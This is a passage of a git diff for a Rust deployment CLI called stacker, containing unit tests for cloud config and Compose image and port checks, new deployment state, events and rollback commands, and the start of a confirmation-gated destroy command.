+ #[test] + fn test_active_stacker_base_url_prefers_logged_in_server_url() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: chrono::Utc::now() + chrono::Duration::hours(1), + email: Some("test@example.com".to_string()), + server_url: Some("https://dev.try.direct/server/stacker/api/v1".to_string()), + org: None, + domain: None, + }; + + assert_eq!( + active_stacker_base_url(&creds), + "https://dev.try.direct/server/stacker" + ); + } + + #[test] + fn test_cloud_config_from_cli_override_info_sets_in_memory_key() { + let cloud = stacker_client::CloudInfo { + id: 5, + user_id: "u1".to_string(), + name: "htz-5".to_string(), + provider: "htz".to_string(), + cloud_token: None, + cloud_key: None, + cloud_secret: None, + save_token: None, + }; + + let config = cloud_config_from_info(&cloud).unwrap(); + + assert_eq!(config.provider, CloudProvider::Hetzner); + assert_eq!(config.key.as_deref(), Some("htz-5")); + assert_eq!(config.orchestrator, CloudOrchestrator::Remote); + } + + #[test] + fn test_cloud_config_from_cli_override_preserves_existing_region_and_size() { + let existing = CloudConfig { + provider: CloudProvider::Hetzner, + orchestrator: CloudOrchestrator::Remote, + region: Some("nbg1".to_string()), + size: Some("cpx21".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }; + let cloud = stacker_client::CloudInfo { + id: 5, + user_id: "u1".to_string(), + name: "htz-5".to_string(), + provider: "htz".to_string(), + cloud_token: None, + cloud_key: None, + cloud_secret: None, + save_token: None, + }; + + let config = merge_cloud_config_from_info(Some(&existing), &cloud).unwrap(); + + assert_eq!(config.key.as_deref(), Some("htz-5")); + assert_eq!(config.region.as_deref(), Some("nbg1")); + assert_eq!(config.size.as_deref(), Some("cpx21")); + } + + #[test] + fn test_validate_compose_images_for_deploy_reports_missing_docker_hub_image_before_deploy() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let image_env = std::collections::BTreeMap::new(); + std::fs::write( + &compose_path, + "services:\n api:\n image: optimum/syncopia-device-api:latest\n worker:\n image: ghcr.io/example/worker:latest\n proxy:\n image: jc21/nginx-proxy-manager:latest\n", + ) + .unwrap(); + + let err = validate_compose_images_for_deploy_with_checker( + &compose_path, + &image_env, + None, + |target| { + Ok(if target.repository == "syncopia-device-api" { + DockerHubImageCheckResult::Missing + } else { + DockerHubImageCheckResult::Available + }) + }, + ) + .unwrap_err(); + + let message = err.to_string(); + assert!(message.contains("Compose image preflight failed")); + assert!(message.contains("docker.io/optimum/syncopia-device-api:latest")); + assert!(message.contains("service 'api'")); + assert!(!message.contains("ghcr.io/example/worker:latest")); + } + + #[test] + fn test_required_image_platform_for_deploy_target_only_enforces_remote_linux_amd64() { + assert_eq!( + required_image_platform_for_deploy_target(&DeployTarget::Local), + None + ); + assert_eq!( + required_image_platform_for_deploy_target(&DeployTarget::Cloud), + Some(RequiredImagePlatform::linux_amd64()) + ); + assert_eq!( + required_image_platform_for_deploy_target(&DeployTarget::Server), + Some(RequiredImagePlatform::linux_amd64()) + ); + } + + #[test] + fn test_validate_compose_images_for_deploy_reports_missing_required_platform_before_remote_deploy( + ) { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let image_env = std::collections::BTreeMap::new(); + let required_platform = RequiredImagePlatform::linux_amd64(); + std::fs::write( + &compose_path, + "services: + api: + image: optimum/syncopia-device-api:latest + proxy: + image: jc21/nginx-proxy-manager:latest +", + ) + .unwrap(); + + let err = validate_compose_images_for_deploy_with_checker( + &compose_path, + &image_env, + Some(&required_platform), + |target| { + Ok(if target.repository == "syncopia-device-api" { + DockerHubImageCheckResult::MissingPlatform { + required: required_platform.clone(), + available: vec!["linux/arm64".to_string()], + } + } else { + DockerHubImageCheckResult::Available + }) + }, + ) + .unwrap_err(); + + let message = err.to_string(); + assert!(message.contains("required platform linux/amd64")); + assert!(message.contains("available platforms: linux/arm64")); + assert!(message.contains("docker.io/optimum/syncopia-device-api:latest")); + assert!(message.contains("service 'api'")); + } + + #[test] + fn test_resolve_compose_image_reference_supports_plain_default_and_required_forms() { + let mut image_env = std::collections::BTreeMap::new(); + image_env.insert( + "WEBSITE_IMAGE".to_string(), + "optimum/syncopia-website".to_string(), + ); + + assert_eq!( + resolve_compose_image_reference("${WEBSITE_IMAGE}:latest", &image_env).unwrap(), + "optimum/syncopia-website:latest" + ); + assert_eq!( + resolve_compose_image_reference( + "${DEVICE_API_IMAGE:-syncopia/device-api:dev}", + &image_env + ) + .unwrap(), + "syncopia/device-api:dev" + ); + assert_eq!( + resolve_compose_image_reference( + "${WEBSITE_IMAGE:?Set WEBSITE_IMAGE to a published website image}:latest", + &image_env + ) + .unwrap(), + "optimum/syncopia-website:latest" + ); + } + + #[test] + fn test_resolve_compose_image_reference_errors_for_missing_required_variable() { + let image_env = std::collections::BTreeMap::new(); + let err = resolve_compose_image_reference( + "${WEBSITE_IMAGE:?Set WEBSITE_IMAGE to a published website image}:latest", + &image_env, + ) + .unwrap_err(); + assert!(err.contains("Set WEBSITE_IMAGE to a published website image")); + } + + #[test] + fn test_validate_compose_images_for_deploy_resolves_environment_images_before_checking() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let mut image_env = std::collections::BTreeMap::new(); + image_env.insert( + "WEBSITE_IMAGE".to_string(), + "optimum/syncopia-website".to_string(), + ); + std::fs::write( + &compose_path, + "services:\n website:\n image: ${WEBSITE_IMAGE}:latest\n proxy:\n image: jc21/nginx-proxy-manager:latest\n", + ) + .unwrap(); + + let err = validate_compose_images_for_deploy_with_checker( + &compose_path, + &image_env, + None, + |target| { + Ok(if target.repository == "syncopia-website" { + DockerHubImageCheckResult::Missing + } else { + DockerHubImageCheckResult::Available + }) + }, + ) + .unwrap_err(); + + let message = err.to_string(); + assert!(message.contains("docker.io/optimum/syncopia-website:latest")); + assert!(message.contains("service 'website'")); + } + + #[test] + fn test_extract_compose_public_port_specs_resolves_env_defaults() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + coolify: + image: coollabsio/coolify:latest + ports: + - "${APP_PORT:-8000}:8080" + - "127.0.0.1:5432:5432" + - "53:53/udp" + soketi: + image: coollabsio/coolify-realtime:1.0.13 + ports: + - "${SOKETI_PORT:-6001}:6001" + - "6002:6002" + api: + image: example/api:latest + ports: + - target: 9000 + published: "${API_PORT:-19000}" + protocol: tcp +"#, + ) + .unwrap(); + + let env = std::collections::BTreeMap::new(); + let ports = extract_compose_public_port_specs(&compose_path, &env).unwrap(); + + assert_eq!( + ports, + vec!["8000:8080", "6001:6001", "6002:6002", "19000:9000"] + ); + } + + #[test] + fn test_merge_compose_public_ports_into_app_config_prevents_default_custom_port() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + coolify: + image: coollabsio/coolify:latest + ports: + - "${APP_PORT:-8000}:8080" +"#, + ) + .unwrap(); + let mut config = StackerConfig::from_str( + "name: coolify\napp:\n type: custom\n image: coollabsio/coolify:latest\n", + ) + .unwrap(); + let env = std::collections::BTreeMap::new(); + + merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap(); + + assert_eq!(config.app.ports, vec!["8000:8080"]); + } + + #[test] + fn test_compose_public_ports_flow_into_project_body_shared_ports() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + coolify: + image: coollabsio/coolify:latest + ports: + - "${APP_PORT:-8000}:8080" +"#, + ) + .unwrap(); + let mut config = StackerConfig::from_str( + "name: coolify\napp:\n type: custom\n image: coollabsio/coolify:latest\n", + ) + .unwrap(); + let env = std::collections::BTreeMap::new(); + + merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap(); + let project_body = crate::cli::stacker_client::build_project_body(&config); + + assert_eq!( + project_body["custom"]["web"][0]["shared_ports"], + serde_json::json!([{"host_port": "8000", "container_port": "8080"}]) + ); + } + + #[test] + fn test_coolify_project_compose_ports_define_cloud_firewall_ports() { + let dir = TempDir::new().unwrap(); + let compose_dir = dir.path().join("docker/production"); + std::fs::create_dir_all(&compose_dir).unwrap(); + let compose_path = compose_dir.join("compose.yml"); + std::fs::write( + &compose_path, + r#" +services: + coolify: + image: "${REGISTRY_URL:-ghcr.io}/coollabsio/coolify:${LATEST_IMAGE:-latest}" + container_name: coolify + ports: + - "${APP_PORT:-8000}:8080" + expose: + - "8080" + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + soketi: + condition: service_healthy + postgres: + image: postgres:15-alpine + container_name: coolify-db + redis: + image: redis:7-alpine + container_name: coolify-redis + soketi: + image: "${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13" + container_name: coolify-realtime + ports: + - "${SOKETI_PORT:-6001}:6001" + - "6002:6002" +"#, + ) + .unwrap(); + + let mut config = StackerConfig::from_str( + r#" +name: coolify +project: + identity: coolify +app: + type: custom + image: "coollabsio/coolify:latest" +proxy: + type: nginx-proxy-manager + auto_detect: false +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cpx22 +environments: + production: + compose_file: docker/production/compose.yml +monitoring: + status_panel: true +"#, + ) + .unwrap() + .with_resolved_deploy_target(None) + .unwrap(); + + let (_, environment_config) = config + .resolve_environment_config(Some("production")) + .unwrap() + .unwrap(); + if let Some(compose_file) = environment_config.compose_file { + config.deploy.compose_file = Some(compose_file); + } + + let env = build_image_env_lookup(dir.path(), &config).unwrap(); + merge_compose_public_ports_into_app_config(&mut config, &compose_path, &env).unwrap(); + let project_body = crate::cli::stacker_client::build_project_body(&config); + let shared_ports = project_body["custom"]["web"][0]["shared_ports"] + .as_array() + .unwrap(); + + assert_eq!( + shared_ports, + &vec![ + serde_json::json!({"host_port": "8000", "container_port": "8080"}), + serde_json::json!({"host_port": "6001", "container_port": "6001"}), + serde_json::json!({"host_port": "6002", "container_port": "6002"}), + ] + ); + assert!(shared_ports + .iter() + .all(|port| port["host_port"].as_str() != Some("8080"))); + assert!(project_body["custom"]["feature"] + .as_array() + .unwrap() + .is_empty()); + + let deploy_form = crate::cli::stacker_client::build_deploy_form(&config); + assert!(deploy_form["stack"]["extended_features"] + .as_array() + .unwrap() + .contains(&serde_json::json!("nginx_proxy_manager"))); + assert!(deploy_form["stack"]["integrated_features"] + .as_array() + .unwrap() + .contains(&serde_json::json!("statuspanel"))); + } + + #[test] + fn test_parse_deploy_target_valid() { + assert_eq!(parse_deploy_target("local").unwrap(), DeployTarget::Local); + assert_eq!(parse_deploy_target("cloud").unwrap(), DeployTarget::Cloud); + assert_eq!(parse_deploy_target("server").unwrap(), DeployTarget::Server); + assert_eq!(parse_deploy_target("LOCAL").unwrap(), DeployTarget::Local); + } + + #[test] + fn test_parse_deploy_target_invalid() { + let result = parse_deploy_target("kubernetes"); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("Unknown deploy target")); + } + + #[test] + fn test_extract_missing_image_from_manifest_error() { + let reason = "manifest for optimum/optimumcode:latest not found: manifest unknown"; + let image = extract_missing_image(reason); + assert_eq!(image.as_deref(), Some("optimum/optimumcode:latest")); + } + + #[test] + fn test_fallback_hints_for_manifest_unknown() { + let hints = fallback_troubleshooting_hints( + "docker compose failed: manifest for optimum/optimumcode:latest not found: manifest unknown" + ); + assert!(hints.iter().any(|h| h.contains("Image pull failed"))); + assert!(hints + .iter() + .any(|h| h.contains("docker build -t optimum/optimumcode:latest ."))); + } + + #[test] + fn test_fallback_hints_for_port_conflict() { + let hints = fallback_troubleshooting_hints( + "failed to set up container networking: driver failed programming external connectivity on endpoint app: Bind for 0.0.0.0:3000 failed: port is already allocated" + ); + assert!(hints.iter().any(|h| h.contains("Port conflict"))); + assert!(hints.iter().any(|h| h.contains("lsof -nP -iTCP:3000"))); + } + + #[test] + fn test_fallback_hints_for_orphan_containers() { + let hints = fallback_troubleshooting_hints( + "Found orphan containers ([stackerdb]) for this project", + ); + assert!(hints.iter().any(|h| h.contains("--remove-orphans"))); + } + + #[test] + fn test_fallback_hints_for_remote_orchestrator_html_404() { + let hints = fallback_troubleshooting_hints( + "Remote orchestrator request failed: HTTP error: User Service error (404): Page not found" + ); + assert!(hints.iter().any(|h| h.contains("URL looks incorrect"))); + assert!(hints.iter().any(|h| h.contains("/server/user/auth/login"))); + } + + #[test] + fn test_ensure_env_file_is_created_when_missing() { + let dir = TempDir::new().unwrap(); + let config = + StackerConfig::from_str("name: env-app\napp:\n type: static\nenv_file: .env\n") + .unwrap(); + std::fs::write(dir.path().join(".env.example"), "APP_ENV=production\n").unwrap(); + + ensure_env_file_if_needed(&config, dir.path()).unwrap(); + + let env_path = dir.path().join(".env"); + assert!(env_path.exists()); + let content = std::fs::read_to_string(&env_path).unwrap(); + assert!(content.contains("APP_ENV=production")); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + assert_eq!( + std::fs::metadata(env_path).unwrap().permissions().mode() & 0o777, + 0o600 + ); + } + } + + // ── Progress / health-check helpers ────────────── + + #[test] + fn test_parse_container_statuses_json_array() { + let json = r#"[ + {"State": "running", "Name": "app"}, + {"State": "running", "Name": "db"}, + {"State": "exited", "Name": "worker"} + ]"#; + let (running, total) = parse_container_statuses(json).unwrap(); + assert_eq!(running, 2); + assert_eq!(total, 3); + } + + #[test] + fn test_parse_container_statuses_ndjson() { + let json = "{\"State\": \"running\", \"Name\": \"app\"}\n{\"State\": \"running\", \"Name\": \"db\"}"; + let (running, total) = parse_container_statuses(json).unwrap(); + assert_eq!(running, 2); + assert_eq!(total, 2); + } + + #[test] + fn test_parse_container_statuses_empty() { + let (running, total) = parse_container_statuses("[]").unwrap(); + assert_eq!(running, 0); + assert_eq!(total, 0); + } + + #[test] + fn test_is_terminal_statuses() { + assert!(is_terminal("completed")); + assert!(is_terminal("failed")); + assert!(is_terminal("cancelled")); + assert!(is_terminal("error")); + assert!(is_terminal("paused")); + assert!(!is_terminal("in_progress")); + assert!(!is_terminal("pending")); + assert!(!is_terminal("wait_start")); + } + + #[test] + fn test_deploy_result_has_watch_fields() { + let result = DeployResult { + target: DeployTarget::Cloud, + message: "test".to_string(), + server_ip: None, + deployment_id: Some(42), + project_id: Some(7), + server_name: None, + }; + assert_eq!(result.deployment_id, Some(42)); + assert_eq!(result.project_id, Some(7)); + } + + #[test] + fn test_cloud_provider_from_code() { + // Short codes + assert_eq!( + cloud_provider_from_code("htz"), + Some(CloudProvider::Hetzner) + ); + assert_eq!( + cloud_provider_from_code("do"), + Some(CloudProvider::Digitalocean) + ); + assert_eq!(cloud_provider_from_code("aws"), Some(CloudProvider::Aws)); + assert_eq!(cloud_provider_from_code("lo"), Some(CloudProvider::Linode)); + assert_eq!(cloud_provider_from_code("vu"), Some(CloudProvider::Vultr)); + // Full names + assert_eq!( + cloud_provider_from_code("hetzner"), + Some(CloudProvider::Hetzner) + ); + assert_eq!( + cloud_provider_from_code("digitalocean"), + Some(CloudProvider::Digitalocean) + ); + assert_eq!( + cloud_provider_from_code("linode"), + Some(CloudProvider::Linode) + ); + assert_eq!( + cloud_provider_from_code("vultr"), + Some(CloudProvider::Vultr) + ); + // Case insensitive + assert_eq!( + cloud_provider_from_code("HTZ"), + Some(CloudProvider::Hetzner) + ); + assert_eq!(cloud_provider_from_code("AWS"), Some(CloudProvider::Aws)); + // Unknown + assert_eq!(cloud_provider_from_code("unknown"), None); + assert_eq!(cloud_provider_from_code(""), None); + } + + #[test] + fn test_with_watch_flags() { + let cmd = DeployCommand::new(None, None, false, false).with_watch(false, false); + assert_eq!(cmd.watch, None); // auto + + let cmd = DeployCommand::new(None, None, false, false).with_watch(true, false); + assert_eq!(cmd.watch, Some(true)); + + let cmd = DeployCommand::new(None, None, false, false).with_watch(false, true); + assert_eq!(cmd.watch, Some(false)); + + // --no-watch wins over --watch + let cmd = DeployCommand::new(None, None, false, false).with_watch(true, true); + assert_eq!(cmd.watch, Some(false)); + } +} diff --git a/stacker/stacker/src/console/commands/cli/deployment.rs b/stacker/stacker/src/console/commands/cli/deployment.rs new file mode 100644 index 0000000..598b744 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/deployment.rs @@ -0,0 +1,515 @@ +use crate::cli::config_parser::StackerConfig; +use crate::cli::credentials::CredentialsManager; +use crate::cli::error::CliError; +use crate::cli::stacker_client::StackerClient; +use crate::console::commands::cli::status::{ + is_remote_deployment, missing_remote_project_reason, resolve_project_name, + resolve_stacker_base_url, +}; +use crate::console::commands::CallableTrait; +use crate::services::{ + DeployPlan, DeployPlanOperation, DeploymentEventFeed, DeploymentState, TypedErrorEnvelope, +}; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker deployment state [--json] [--deployment ]` +/// +/// Queries the canonical deployment state payload from the Stacker API. +pub struct DeploymentStateCommand { + pub json: bool, + pub deployment: Option, +} + +/// `stacker deployment events [--json] [--deployment ]` +/// +/// Queries the structured deployment event feed from the Stacker API. +pub struct DeploymentEventsCommand { + pub json: bool, + pub deployment: Option, +} + +/// `stacker deployment rollback --to [--plan] [--apply-plan ] --confirm` +pub struct DeploymentRollbackCommand { + pub to: String, + pub plan: bool, + pub apply_plan: Option, + pub confirm: bool, + pub deployment: Option, +} + +impl DeploymentRollbackCommand { + pub fn new( + to: String, + plan: bool, + apply_plan: Option, + confirm: bool, + deployment: Option, + ) -> Self { + Self { + to, + plan, + apply_plan, + confirm, + deployment, + } + } +} + +impl DeploymentEventsCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl DeploymentStateCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +fn print_state(state: &DeploymentState, json: bool) { + if json { + println!( + "{}", + serde_json::to_string_pretty(state).expect("deployment state should serialize") + ); + return; + } + + println!("Deployment: {}", state.deployment.deployment_hash); + println!("Status: {}", state.deployment.status); + println!("Runtime: {}", state.deployment.runtime); + println!("Project: {}", state.project.name); + println!("Agent: {}", state.agent.status); + println!("Compose: {}", state.runtime.compose_path); + println!("Env: {}", state.runtime.env_path); + + if !state.apps.is_empty() { + println!("\nApps:"); + for app in &state.apps { + println!( + " - {} ({}) cfg={} vault_sync={}", + app.name, app.code, app.config_version, app.vault_sync_version + ); + } + } + + if let Some(last_command) = &state.last_command { + println!( + "\nLast command: {} [{}] at {}", + last_command.r#type, last_command.status, last_command.finished_at + ); + } +} + +fn print_plan(plan: &DeployPlan) -> Result<(), CliError> { + println!( + "{}", + serde_json::to_string_pretty(plan).map_err(|err| CliError::ConfigValidation(format!( + "Failed to serialize deployment plan: {err}" + )))?, + ); + Ok(()) +} + +fn print_events(feed: &DeploymentEventFeed, json: bool) -> Result<(), CliError> { + if json { + println!( + "{}", + serde_json::to_string_pretty(feed).map_err(|err| CliError::ConfigValidation( + format!("Failed to serialize deployment events: {err}") + ))? + ); + return Ok(()); + } + + println!("Deployment: {}", feed.deployment_hash); + if feed.events.is_empty() { + println!("No deployment events recorded."); + return Ok(()); + } + + for event in &feed.events { + let status = event.status.as_deref().unwrap_or("-"); + println!( + "{:>2}. {} [{} / {}] {}", + event.sequence, + event.occurred_at, + serde_json::to_string(&event.kind) + .unwrap_or_default() + .trim_matches('"'), + status, + event.summary + ); + } + + Ok(()) +} + +pub(crate) async fn fetch_remote_deployment_plan( + config: &StackerConfig, + base_url: &str, + client: &StackerClient, + requested_hash: Option<&str>, + operation: DeployPlanOperation, + app_code: Option<&str>, + rollback_target: Option<&str>, + expected_fingerprint: Option<&str>, +) -> Result { + let deployment_hash = resolve_deployment_hash(config, base_url, client, requested_hash).await?; + client + .get_deployment_plan_by_hash( + &deployment_hash, + operation, + &config.deploy.target.to_string(), + app_code, + rollback_target, + expected_fingerprint, + ) + .await? + .ok_or_else(|| { + CliError::from( + TypedErrorEnvelope::deployment_not_found(format!( + "No deployment plan found for hash '{}'", + deployment_hash + )) + .with_context("deploymentHash", deployment_hash), + ) + }) +} + +async fn resolve_deployment_hash( + config: &StackerConfig, + base_url: &str, + client: &StackerClient, + requested_hash: Option<&str>, +) -> Result { + if let Some(hash) = requested_hash + .map(str::trim) + .filter(|hash| !hash.is_empty()) + .map(ToOwned::to_owned) + { + return Ok(hash); + } + + if let Some(hash) = config + .deploy + .deployment_hash + .as_ref() + .map(|hash| hash.trim()) + .filter(|hash| !hash.is_empty()) + .map(ToOwned::to_owned) + { + return Ok(hash); + } + + let project_name = resolve_project_name(config); + let deploy_target = config.deploy.target; + let project = client.find_project_by_name(&project_name).await?; + let project = project.ok_or_else(|| CliError::DeployFailed { + target: deploy_target, + reason: missing_remote_project_reason(&project_name, base_url, deploy_target), + })?; + + let latest = client.get_deployment_status_by_project(project.id).await?; + latest + .map(|deployment| deployment.deployment_hash) + .ok_or_else(|| CliError::DeployFailed { + target: deploy_target, + reason: format!( + "No deployments found for project '{}' on {}", + project_name, base_url + ), + }) +} + +fn run_remote_deployment_state( + json: bool, + requested_hash: Option<&str>, +) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let deploy_target = config.deploy.target; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("deployment state")?; + let base_url = resolve_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: deploy_target, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + let deployment_hash = + resolve_deployment_hash(&config, &base_url, &client, requested_hash).await?; + let state = client + .get_deployment_state_by_hash(&deployment_hash) + .await? + .ok_or_else(|| { + CliError::from( + TypedErrorEnvelope::deployment_not_found(format!( + "No deployment state found for hash '{}'", + deployment_hash + )) + .with_context("deploymentHash", deployment_hash.clone()), + ) + })?; + + print_state(&state, json); + Ok(()) + }) +} + +fn run_remote_deployment_events( + json: bool, + requested_hash: Option<&str>, +) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let deploy_target = config.deploy.target; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("deployment events")?; + let base_url = resolve_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: deploy_target, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + let deployment_hash = + resolve_deployment_hash(&config, &base_url, &client, requested_hash).await?; + let events = client + .get_deployment_events_by_hash(&deployment_hash) + .await? + .ok_or_else(|| { + CliError::from( + TypedErrorEnvelope::deployment_not_found(format!( + "No deployment events found for hash '{}'", + deployment_hash + )) + .with_context("deploymentHash", deployment_hash.clone()), + ) + })?; + + print_events(&events, json)?; + Ok(()) + }) +} + +pub(crate) fn run_remote_deployment_plan( + requested_hash: Option<&str>, + operation: DeployPlanOperation, + app_code: Option<&str>, + rollback_target: Option<&str>, + expected_fingerprint: Option<&str>, +) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let deploy_target = config.deploy.target; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("deployment plan")?; + let base_url = resolve_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: deploy_target, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + let plan = fetch_remote_deployment_plan( + &config, + &base_url, + &client, + requested_hash, + operation, + app_code, + rollback_target, + expected_fingerprint, + ) + .await?; + print_plan(&plan)?; + Ok(()) + }) +} + +impl CallableTrait for DeploymentStateCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + if !is_remote_deployment(&project_dir) { + return Err(Box::new(CliError::ConfigValidation( + "Deployment state is only available for cloud or server targets.".to_string(), + ))); + } + + run_remote_deployment_state(self.json, self.deployment.as_deref()) + } +} + +impl CallableTrait for DeploymentEventsCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + if !is_remote_deployment(&project_dir) { + return Err(Box::new(CliError::ConfigValidation( + "Deployment events are only available for cloud or server targets.".to_string(), + ))); + } + + run_remote_deployment_events(self.json, self.deployment.as_deref()) + } +} + +impl CallableTrait for DeploymentRollbackCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + if !is_remote_deployment(&project_dir) { + return Err(Box::new(CliError::ConfigValidation( + "Deployment rollback is only available for cloud or server targets.".to_string(), + ))); + } + + if self.plan { + return run_remote_deployment_plan( + self.deployment.as_deref(), + DeployPlanOperation::RollbackDeploy, + None, + Some(&self.to), + None, + ); + } + + let fingerprint = self.apply_plan.as_deref().ok_or_else(|| { + Box::new(CliError::ConfigValidation( + "Use --plan to preview rollback or --apply-plan to execute it." + .to_string(), + )) as Box + })?; + + if !self.confirm { + return Err(Box::new(CliError::ConfigValidation( + "Rollback apply requires --confirm (-y).".to_string(), + ))); + } + + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + let project_name = resolve_project_name(&config); + let deploy_target = config.deploy.target; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("deployment rollback")?; + let base_url = resolve_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: deploy_target, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + let plan = fetch_remote_deployment_plan( + &config, + &base_url, + &client, + self.deployment.as_deref(), + DeployPlanOperation::RollbackDeploy, + None, + Some(&self.to), + Some(fingerprint), + ) + .await?; + + if !plan.has_changes { + println!( + "Rollback already satisfied for {}. Nothing to apply.", + plan.deployment_hash + ); + return Ok::<(), CliError>(()); + } + + let resolved_version = plan + .rollback + .as_ref() + .map(|rollback| rollback.resolved_version.clone()) + .ok_or_else(|| { + CliError::from(TypedErrorEnvelope::internal_error( + "Rollback plan did not include a resolved target version", + )) + })?; + + let project = client.find_project_by_name(&project_name).await?; + let project = project.ok_or_else(|| CliError::DeployFailed { + target: deploy_target, + reason: format!("Project '{}' not found on server.", project_name), + })?; + + eprintln!( + "Rolling back deployment '{}' to version '{}'...", + plan.deployment_hash, resolved_version + ); + client + .rollback_project(project.id, &resolved_version) + .await?; + Ok::<(), CliError>(()) + })?; + + Ok(()) + } +} diff --git a/stacker/stacker/src/console/commands/cli/destroy.rs b/stacker/stacker/src/console/commands/cli/destroy.rs new file mode 100644 index 0000000..1acff6f --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/destroy.rs @@ -0,0 +1,205 @@ +use std::path::Path; + +use crate::cli::config_parser::DeployTarget; +use crate::cli::error::CliError; +use crate::cli::install_runner::{CommandExecutor, ShellExecutor}; +use crate::cli::local_compose::resolve_local_compose_path; +use crate::console::commands::CallableTrait; + +#[allow(dead_code)] +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker destroy [--volumes] [--confirm]` +/// +/// Tears down the deployed stack and optionally removes volumes. +pub struct DestroyCommand { + pub volumes: bool, + pub confirm: bool, +} + +impl DestroyCommand { + pub fn new(volumes: bool, confirm: bool) -> Self { + Self { volumes, confirm } + } +} + +/// Build `docker compose down` arguments. +pub fn build_destroy_args(compose_path: &str, volumes: bool) -> Vec { + let mut args = vec![ + "compose".to_string(), + "-f".to_string(), + compose_path.to_string(), + "down".to_string(), + ]; + + if volumes { + args.push("--volumes".to_string()); + } + + args +} + +/// Core destroy logic, extracted for testability. +pub fn run_destroy( + project_dir: &Path, + volumes: bool, + confirm: bool, + executor: &dyn CommandExecutor, +) -> Result<(), CliError> { + if !confirm { + return Err(CliError::ConfigValidation( + "Destroy requires --confirm (-y) flag. This will remove all containers and data." + .to_string(), + )); + } + + let compose_path = resolve_local_compose_path(project_dir).map_err(|err| match err { + CliError::ConfigValidation(_) => { + CliError::ConfigValidation("No deployment found. Nothing to destroy.".to_string()) + } + other => other, + })?; + + let compose_str = compose_path.to_string_lossy().to_string(); + let args = build_destroy_args(&compose_str, volumes); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + + if 